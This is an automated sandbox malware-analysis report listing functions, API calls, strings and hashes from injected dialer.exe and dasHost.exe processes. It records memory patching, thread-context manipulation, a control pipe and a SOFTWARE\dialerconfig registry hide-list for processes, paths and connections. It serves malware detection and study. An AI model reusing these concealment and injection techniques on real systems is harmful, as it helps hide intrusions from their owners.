Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dialer.exePID: 7120, Parent PID: 4248COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.3%
Total number of Nodes:	897
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAlpcOpenSenderProcess.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 00000050.00000002.2453303089.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000050.00000002.2452907541.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2455357604.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2461620712.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2462515654.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_80_2_140000000_dialer.jbxd

Similarity

API ID: AlpcOpenProcessSender
String ID:
API String ID: 3910219020-0
Opcode ID: 7499237b17bbcd1bcb6ebcadcdfb411da627e67431d6b901ef04fbd3b683fc4c
Instruction ID: 6e9c43e43475a5412bc82c74bb0b22b7dbbc15337bd8e373d78586065a7e04e3
Opcode Fuzzy Hash: 7499237b17bbcd1bcb6ebcadcdfb411da627e67431d6b901ef04fbd3b683fc4c
Instruction Fuzzy Hash: BFF05FB6608B408AEA16DF62F85179A77A5F79D7C0F009919BBC857735DB3CC1A0CB40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00000001400027D0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140002810
wcsncmp.MSVCRT(00000000,?,00000000,\BaseNamedObjects\llfrvfnuexbwtixr,00000030,00000000,?,?,00000001400053ED), ref: 00000001400029E4
memset.MSVCRT ref: 0000000140002AAC
wcscpy.MSVCRT ref: 0000000140002B15
wcscat.MSVCRT ref: 0000000140002B20
wcslen.MSVCRT ref: 0000000140002B28
wcslen.MSVCRT ref: 0000000140002B40
wcslen.MSVCRT ref: 0000000140002BA0
wcslen.MSVCRT ref: 0000000140002BF2

Strings

\BaseNamedObjects\llfrvfnuexbwtixr, xrefs: 00000001400027D8
`, xrefs: 0000000140002D9B
X, xrefs: 0000000140002D83
0, xrefs: 00000001400029E9

Memory Dump Source

Source File: 00000050.00000002.2453303089.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000050.00000002.2452907541.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2455357604.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2461620712.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2462515654.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_80_2_140000000_dialer.jbxd

Similarity

API ID: wcslen$memset$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\llfrvfnuexbwtixr$`
API String ID: 780471329-2690498009
Opcode ID: 344dc0d2555831cfefea67499faefd1bc7ea92048f0324c41f2eb0cd16c79055
Instruction ID: 7be09ba941ed68ffb1b3850f8175c83daa3bfaa79e8fc9c002dedc83ab5f35de
Opcode Fuzzy Hash: 344dc0d2555831cfefea67499faefd1bc7ea92048f0324c41f2eb0cd16c79055
Instruction Fuzzy Hash: 90125AB2608BC481E762CB26F8443EAB7A4F789794F414215EBA957BF5DF78C189C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT(?,?,?,0000000140001156), ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT(?,?,?,0000000140001156), ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT ref: 000000014000132D

Memory Dump Source

Source File: 00000050.00000002.2453303089.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000050.00000002.2452907541.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2455357604.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2461620712.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2462515654.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_80_2_140000000_dialer.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: b749f654d0317d9e24de8ca2bf6692fcf531ea681135a2e2bde356a6ec223b5a
Instruction ID: 145ef27ce15272fb8ed355f5aa63f0c9a1f5ede9e4593ea7d6eb0f0a7906d2e7
Opcode Fuzzy Hash: b749f654d0317d9e24de8ca2bf6692fcf531ea681135a2e2bde356a6ec223b5a
Instruction Fuzzy Hash: F55111F1611A4085FB16EF27F9947EA27A1BB8DBD0F449121FB4E873B2DE3884958700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007DE8,0000000140007DE8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007DE8,0000000140007DE8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007DE8,0000000140007DE8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17
Address %p has no image-section, xrefs: 0000000140001CF4
VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29

Memory Dump Source

Source File: 00000050.00000002.2453303089.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000050.00000002.2452907541.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2455357604.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2461620712.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2462515654.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_80_2_140000000_dialer.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 28aadb8de5dc709acd0a0e5d247f6037aa628613dfc42422a511b90ca232dc4a
Instruction ID: 2ed46510ed1d0a58bb00a12b4a38f7601a8ffa55d26e4d8577210080af0f0105
Opcode Fuzzy Hash: 28aadb8de5dc709acd0a0e5d247f6037aa628613dfc42422a511b90ca232dc4a
Instruction Fuzzy Hash: 064132B1601A4486FA66DF57F884BE927A0F78DBC4F554126EF0E877B1DA38C586C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
free.MSVCRT ref: 0000000140002234
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 00000050.00000002.2453303089.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000050.00000002.2452907541.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2455357604.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2461620712.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2462515654.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_80_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: dc48a205a360e40ccc39e5e09ba110344913a208c188809db43705c9a7f6a856
Instruction ID: 9494385bac82c96470a5ad2ca80031d016a952209e6f2660f35a807c86e33b41
Opcode Fuzzy Hash: dc48a205a360e40ccc39e5e09ba110344913a208c188809db43705c9a7f6a856
Instruction Fuzzy Hash: 9121F5B0305A0192FA6BDB53F9483E823A4BB6CBD0F444121FF5A476B4DB79C986C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 00000050.00000002.2453303089.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000050.00000002.2452907541.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2455357604.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2461620712.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2462515654.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_80_2_140000000_dialer.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: e97456c2db4c566f3d7dc493090a254b32206473731b29f9c59ef8b921ac1576
Instruction ID: 0d0cdd76e27464eab58c3101b34b7ecc2a8ef26ebffc61dfa6a838f535d4530f
Opcode Fuzzy Hash: e97456c2db4c566f3d7dc493090a254b32206473731b29f9c59ef8b921ac1576
Instruction Fuzzy Hash: 0E2159B1A0510542FA77DA2BB5903F92182ABCC7E4F258635FF19873F5DF7888C28241

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B
Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B

Memory Dump Source

Source File: 00000050.00000002.2453303089.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000050.00000002.2452907541.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2455357604.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2461620712.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2462515654.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_80_2_140000000_dialer.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 7818cc2df225a017ff44da82892a3b8f66bcfae0520395024c1ab092e30cd3b9
Instruction ID: 78106683dca420d487733eb45b5c7fb140555e26720c20ee5b0ca44718aa059e
Opcode Fuzzy Hash: 7818cc2df225a017ff44da82892a3b8f66bcfae0520395024c1ab092e30cd3b9
Instruction Fuzzy Hash: F05105B6B11544DAEB16CF67F840BD82761A759BE8F548211FB19077B4DB38C586C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D
Unknown error, xrefs: 0000000140001824

Memory Dump Source

Source File: 00000050.00000002.2453303089.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000050.00000002.2452907541.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2455357604.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2461620712.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2462515654.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_80_2_140000000_dialer.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: ca6b003e7d5e4c1f7dddf901e9dd9bc29e86f15a224b0f641e9277e05f257cb0
Instruction ID: 497f2bda4b805bebb598d258fe75f44a47035596d1a2b2a7541446a23c8471c2
Opcode Fuzzy Hash: ca6b003e7d5e4c1f7dddf901e9dd9bc29e86f15a224b0f641e9277e05f257cb0
Instruction Fuzzy Hash: 61F0F671A14A4482E212EF2AB9413ED6360E74D3C0F40D211FF4DA32A1DF3CD182C310

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 00000050.00000002.2453303089.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000050.00000002.2452907541.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2455357604.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2461620712.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000050.00000002.2462515654.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_80_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 87f9ce1bbc68f519e9da004e6316be91bec518300aea1fdf9716aad2947da55c
Instruction ID: 8e95c5bf1582c2fa6f49c61d441952bd59d504a178f2dce2e4bc026802320bcf
Opcode Fuzzy Hash: 87f9ce1bbc68f519e9da004e6316be91bec518300aea1fdf9716aad2947da55c
Instruction Fuzzy Hash: 6501F2B5305A0082FA2BDB53FE083D82364BB6CBD0F454021EF0943AB4DB79C996C300

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dialer.exePID: 6444, Parent PID: 4248COMMON

Execution Graph

Execution Coverage:	56.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	87.5%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00000001408460F0 Relevance: 6.2, APIs: 4, Instructions: 209
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000000014084621A
GetProcAddressForCaller.KERNELBASE ref: 0000000140846244
VirtualProtect.KERNELBASE(?,?,?,00000000), ref: 00000001408462C9
VirtualProtect.KERNELBASE ref: 00000001408462E7

Memory Dump Source

Source File: 00000051.00000002.2453295770.0000000140840000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000051.00000002.2452848971.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000051.00000002.2453295770.00000001404DC000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000051.00000002.2453295770.0000000140500000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000051.00000002.2453295770.0000000140503000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000051.00000002.2453295770.000000014078B000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000051.00000002.2453295770.000000014080D000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000051.00000002.2723965111.0000000140847000.00000004.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_140000000_dialer.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$AddressCallerLibraryLoadProc
String ID:
API String ID: 1941872368-0
Opcode ID: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction ID: 1d24a93eb9004fb9ff5f788f669610d725ede0fbeb3cf7fc7a03e9414d8a6cfe
Opcode Fuzzy Hash: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction Fuzzy Hash: FE611A32F4026255EB274BB6AF843E87751931D7B4F49433DCB79423E6FA7488668B02

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dasHost.exePID: 4160, Parent PID: 7112COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.1%
Total number of Nodes:	1796
Total number of Limit Nodes:	12

Executed Functions

Function 0000028092381628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000028092381633
HeapAlloc.KERNEL32 ref: 0000028092381642

Part of subcall function 0000028092381268: GetProcessHeap.KERNEL32 ref: 000002809238126E
Part of subcall function 0000028092381268: HeapAlloc.KERNEL32 ref: 000002809238127D
Part of subcall function 0000028092381268: GetProcessHeap.KERNEL32 ref: 0000028092381297
Part of subcall function 0000028092381268: HeapAlloc.KERNEL32 ref: 00000280923812A8

RegOpenKeyExW.ADVAPI32 ref: 00000280923816B2
RegOpenKeyExW.ADVAPI32 ref: 00000280923816DF
RegCloseKey.ADVAPI32 ref: 00000280923816F9
RegOpenKeyExW.ADVAPI32 ref: 0000028092381719
RegCloseKey.ADVAPI32 ref: 0000028092381734
RegOpenKeyExW.ADVAPI32 ref: 0000028092381754
RegCloseKey.ADVAPI32 ref: 000002809238176F
RegOpenKeyExW.ADVAPI32 ref: 000002809238178F
RegCloseKey.ADVAPI32 ref: 00000280923817AA
RegOpenKeyExW.ADVAPI32 ref: 00000280923817CA
RegCloseKey.ADVAPI32 ref: 00000280923817E5
RegOpenKeyExW.ADVAPI32 ref: 0000028092381805
RegCloseKey.ADVAPI32 ref: 0000028092381820
RegOpenKeyExW.ADVAPI32 ref: 0000028092381840
RegCloseKey.ADVAPI32 ref: 000002809238185B
RegOpenKeyExW.ADVAPI32 ref: 000002809238187B
RegCloseKey.ADVAPI32 ref: 0000028092381896
RegCloseKey.ADVAPI32 ref: 00000280923818A0

Part of subcall function 00000280923812BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000028092381319
Part of subcall function 00000280923812BC: GetProcessHeap.KERNEL32 ref: 0000028092381327
Part of subcall function 00000280923812BC: HeapAlloc.KERNEL32 ref: 0000028092381338
Part of subcall function 00000280923812BC: RegEnumValueW.ADVAPI32 ref: 0000028092381397
Part of subcall function 00000280923812BC: GetProcessHeap.KERNEL32 ref: 00000280923813DF
Part of subcall function 00000280923812BC: HeapAlloc.KERNEL32 ref: 00000280923813ED
Part of subcall function 00000280923812BC: GetProcessHeap.KERNEL32 ref: 000002809238140A
Part of subcall function 00000280923812BC: HeapFree.KERNEL32 ref: 0000028092381418
Part of subcall function 00000280923812BC: lstrlenW.KERNEL32 ref: 0000028092381421
Part of subcall function 00000280923812BC: GetProcessHeap.KERNEL32 ref: 000002809238142F
Part of subcall function 00000280923812BC: HeapAlloc.KERNEL32 ref: 000002809238143D

Strings

tcp_local, xrefs: 00000280923817FE
service_names, xrefs: 00000280923817C3
paths, xrefs: 0000028092381788
pid, xrefs: 0000028092381712
tcp_remote, xrefs: 0000028092381839
udp, xrefs: 0000028092381874
process_names, xrefs: 000002809238174D
startup, xrefs: 00000280923816D5
SOFTWARE\dialerconfig, xrefs: 0000028092381692

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 94c52070c3881526f7593c9bf3c8e51c4cd2171368668e964aaf77fd85e4ae86
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: D9710C3E312E10C6EB90AF65E8DA6592364F789F88F00D111EE5E57B6ADF74C498C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092383790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000002809238379E
GetCurrentProcess.KERNEL32 ref: 00000280923837CC
VirtualProtectEx.KERNEL32 ref: 00000280923837EE
GetCurrentProcess.KERNEL32 ref: 0000028092383809
VirtualProtectEx.KERNEL32 ref: 000002809238382A

Strings

wr, xrefs: 00000280923837FF

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 910cf10088f07d818205b0dc3785495817490d3ddf8d2c7af839f7822f648744
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: F5113C2E706B41C2EF949B11E48966962A0F789FC5F44C029EEAD07756EF3DC549CB04

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092385B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0000028092385B6B
GetThreadContext.KERNEL32 ref: 0000028092385CD5

Part of subcall function 0000028092385960: GetCurrentThreadId.KERNEL32 ref: 0000028092385964

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction ID: b00891b11345b540f5922887309db12dbb6122afa035a556f0834e5b8cebc8a7
Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction Fuzzy Hash: 06D1787A205B8882DBB0DB06E49935A77B0F78CF84F118116EADD47BA6DF38C555CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000280923850D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0000028092385156

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction ID: c10e9cb3c1da2138da732a3eaf92537c782f9e8239feff42a9c8eab5142d91eb
Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction Fuzzy Hash: 0402CC3621AB8486EBA0CB55E49535AB7B1F3C8B94F118115FADE87B69DF7CC448CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000280923839E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 0000028092383A66
VirtualAlloc.KERNEL32 ref: 0000028092383AA0

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 7110fa36dabdce1eb22e901ce66e00e4fe4a513c646c0970f761336d1381bc64
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 65316C2521BA8481EBB0DB15E0DA35E76A4F38CF84F10C525F5DD0AB9ADF7DC1448B04

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000280923832AE
PathFindFileNameW.SHLWAPI ref: 00000280923832BD

Part of subcall function 0000028092383844: StrCmpNIW.SHLWAPI ref: 000002809238385C

Part of subcall function 0000028092383790: GetModuleHandleW.KERNEL32 ref: 000002809238379E
Part of subcall function 0000028092383790: GetCurrentProcess.KERNEL32 ref: 00000280923837CC
Part of subcall function 0000028092383790: VirtualProtectEx.KERNEL32 ref: 00000280923837EE
Part of subcall function 0000028092383790: GetCurrentProcess.KERNEL32 ref: 0000028092383809
Part of subcall function 0000028092383790: VirtualProtectEx.KERNEL32 ref: 000002809238382A

CreateThread.KERNEL32 ref: 000002809238330B

